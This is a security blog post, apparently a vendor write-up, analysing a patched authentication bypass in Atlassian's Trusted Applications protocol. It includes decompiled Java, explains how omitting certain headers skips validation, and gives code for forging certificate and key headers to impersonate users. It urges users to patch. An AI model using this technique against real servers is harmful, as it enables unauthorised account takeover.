Unpatched Atlassian products still reign over a critical security flaw

Atlassian released a security advisory nearly 8 months ago and released patches for a very critical vulnerability contained nearly all web based products.

Description of vulnerability was not sufficent for potential black hats but given patches leaked all the details they need. Any average level attacker would understand components of the issue when patches downloaded and compared with previous releases. But some advanced capabilities required to figure out how and where to attack.

And here we tell a little bit more about the attack to make users aware of the threat. In patch instructions it was mentioned that we should delete files below and expand patch zip to WEB-INF/lib directory.


So when we compared decompiled versions of the jars we could find out that logically most changed file was com.atlassian.security.auth.trustedapps.filter.TrustedApplicationFilterAuthenticatior. Need to take a look deeper into the old version of this class to figure out where was the problem resides.

Before we go further, we need to explain what is TrustedApps protocol used in Atlassian products.

There are three major authentication and integration mechanisms for Atlassian products to conduct a business line. Basic Authentication, Trusted Applications and OAuth.

Basic Authentication relies on very open instructions with HTTP(S) protocol and you should send encoded user/pass on every request to web appp. OAuth is standarts-based authorization protocol which allows any user to let other apps to reach resources which he uses without sharing any password.

But Trusted Applications is a proprietary protocol which lets applications to impersonate any user and assumes the user bases are exactly the same.

TrustedApps uses HTTP headers to acknowledge certificate validation over one another. Those are on requests;

  • X-Seraph-Trusted-App-ID
  • X-Seraph-Trusted-App-Cert
  • X-Seraph-Trusted-App-Key
  • X-Seraph-Trusted-App-Version
  • X-Seraph-Trusted-App-Magic
  • X-Seraph-Trusted-App-Signature

and on responses;

  • X-Seraph-Trusted-App-Error
  • X-Seraph-Trusted-App-Status

There is a filter on all Atlassian products for TrustedApps requests and processing on that.

Let's check out how it does that by checking out com.atlassian.security.auth.trustedapps.filter.TrustedApplicationFilterAuthenticatior class.

 public Authenticator.Result authenticate(HttpServletRequest request, HttpServletResponse response)
    String certStr = request.getHeader("X-Seraph-Trusted-App-Cert");
    if (isBlank(certStr)) { /*** FAIL ***/  }
    String id = request.getHeader("X-Seraph-Trusted-App-ID");
    if (isBlank(id)) { /*** FAIL ***/  }
    String key = request.getHeader("X-Seraph-Trusted-App-Key");
    if (isBlank(key)) { /*** FAIL ***/ }
    String magicNumber = request.getHeader("X-Seraph-Trusted-App-Magic");
    String version = request.getHeader("X-Seraph-Trusted-App-Version");
    Integer protocolVersion;
    try {
      protocolVersion = !isBlank(version) ? Integer.valueOf(Integer.parseInt(version)) : null;
    catch (NumberFormatException e) { /*** FAIL ***/ }

    if (atLeast(protocolVersion, 1)) {
      if (isBlank(magicNumber)) { /*** FAIL ***/  }

    TrustedApplication app = this.appManager.getTrustedApplication(id);
    if (app == null) { /*** FAIL ***/  }

    ApplicationCertificate certificate;
      certificate = app.decode(new DefaultEncryptedCertificate(id, key, certStr, protocolVersion, magicNumber), request);
    catch (InvalidCertificateException ex) { /*** FAIL ***/  }

    String signature = request.getHeader("X-Seraph-Trusted-App-Signature");

    if ((atLeast(protocolVersion, 2)) && (signature == null)) { /*** FAIL ***/ }
    String signedRequestUrl;
    if (signature != null) {
    else { signedRequestUrl = null;  }

    Principal user = this.resolver.resolve(certificate);
    if (user == null) { /*** FAIL ***/  }
    if (!this.authenticationController.canLogin(user, request)) { /*** FAIL ***/  }

    if (signedRequestUrl != null) 
      /*** SUCCESS ***/
      return new Authenticator.Result.Success(user, signedRequestUrl);

      /*** SUCCESS ***/
    return new Authenticator.Result.Success(user);

FAIL and SUCCESS comments are our edit. So code actually says that if we can jump over FAIL parts, then we can succeed our way through authorization.

To do that we need to post valid "X-Seraph-Trusted-App-Cert" and "X-Seraph-Trusted-App-ID" and "X-Seraph-Trusted-App-Key" headers. If you can carefully read the code, miswritten code lets you jump through code lines by not giving magic number and version. Also it lets you to skip signature validation part by just not sending Protocol version header and signature header like below.

 if ((atLeast(protocolVersion, 2)) && (signature == null))
            /*** FAIL ***/
    String signedRequestUrl;
    if (signature != null)

      signedRequestUrl = null;
But we need an appropriate app id ("X-Seraph-Trusted-App-ID"), secret key ( "X-Seraph-Trusted-App-Key") and app certificate ( "X-Seraph-Trusted-App-Cert" ) and a valid user name to insert within certificate. By default installation apps provide their app-ids and public keys over servlet on a fixed path ***"/admin/appTrustCertificate"***. For example;
$ curl ""

First line is application id and second line is public key of the app. Third and fourth lnes are protocol versions and magic keys which contains related trustedapp key.

To create a trustedapp link between two products, they both have to have their RSA keys to make sure they are contacting with the "trusted" ones. When they create and decode certificate they use two methods below.

When they want to decode remote certificate they use function below.

public ApplicationCertificate decodeEncryptedCertificate(EncryptedCertificate encCert, 
    PublicKey publicKey, String appId) throws InvalidCertificateException
    BufferedReader in;
      Cipher asymCipher = Cipher.getInstance("RSA/NONE/NoPadding", PROVIDER);
      asymCipher.init(2, publicKey);

      String encryptedMagicNumber = encCert.getMagicNumber();
      if (encryptedMagicNumber != null)
        String magicNumber = new String(asymCipher.doFinal(this.transcoder.decode(encryptedMagicNumber)), "utf-8");
        TrustedApplicationUtils.validateMagicNumber("public key", appId, encCert.getProtocolVersion(), magicNumber);
      else if (encCert.getProtocolVersion() != null)
        throw new InvalidCertificateException(new TransportErrorMessage.BadMagicNumber("public key", appId));
      byte[] secretKeyData = asymCipher.doFinal(this.transcoder.decode(encCert.getSecretKey()));
      SecretKeySpec secretKeySpec = new SecretKeySpec(secretKeyData, "RC4");
      Cipher symCipher = Cipher.getInstance("RC4", PROVIDER);
      symCipher.init(2, secretKeySpec);
      byte[] decryptedData = symCipher.doFinal(this.transcoder.decode(encCert.getCertificate()));
      in = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(decryptedData), "utf-8"));
    catch (NoSuchAlgorithmException e)
        throw new RuntimeException(e);
      String created = in.readLine();
      String userName = in.readLine();

      TrustedApplicationUtils.validateMagicNumber("secret key", appId, encCert.getProtocolVersion(), in.readLine());
      long timeCreated = Long.parseLong(created);

      return new DefaultApplicationCertificate(appId, userName, timeCreated);

Some folks may wonder how come code line below would work.

      Cipher asymCipher = Cipher.getInstance("RSA/NONE/NoPadding", PROVIDER);
      asymCipher.init(2, publicKey);

      /* 2 = DECRYPT_MODE */

In RSA, if we encrypt with private key and third party tries to decrypt it with public key that means "sign with private key and verify with public key".

That works in this way...


But the problem is all of these procedures happens before validating signature. We need a trick to hack this flow.


And here comes the super-trick which most of researches might wonder to hack decodeEncryptedCertificate

What if we run the same code on the attacker side and find out decrypted-secret-key value and encrypt plain certificate with it?

Take a look at the code below;

        Cipher asymCipher = Cipher.getInstance("RSA/NONE/NoPadding", p);
        asymCipher.init(2, "SERVER'S PUBLIC KEY");

        byte[] keys =  new byte[]{10,11,12,13,14,15,16,17,18,19}; // Can be anything

        byte[] secretKeyData = asymCipher.doFinal(keys);

        SecretKeySpec secretKeySpec = new SecretKeySpec(secretKeyData, "RC4");
        Cipher symCipher = Cipher.getInstance("RC4", p);
        symCipher.init(1, secretKeySpec);

        byte[] cert = symCipher.doFinal(certificate.toString().getBytes("utf-8"));

And boom!!! We have specially crafted certificate ("X-Seraph-Trusted-App-Cert") and secret key ("X-Seraph-Trusted-App-Key") values to jump over decoding procedures. And we already know a valid app-id "X-Seraph-Trusted-App-ID" by reusing original app-id back to it.


Most of the major products of Atlassian without patches more than 6-8 months back are vulnerable for Trusted Applications protocol. We warn all users to patch their applications immediately.

Final Note

All of these methods and information shared just for education and increasing security awareness purposes. Sceptive is not responsible for any damage or whatsoever.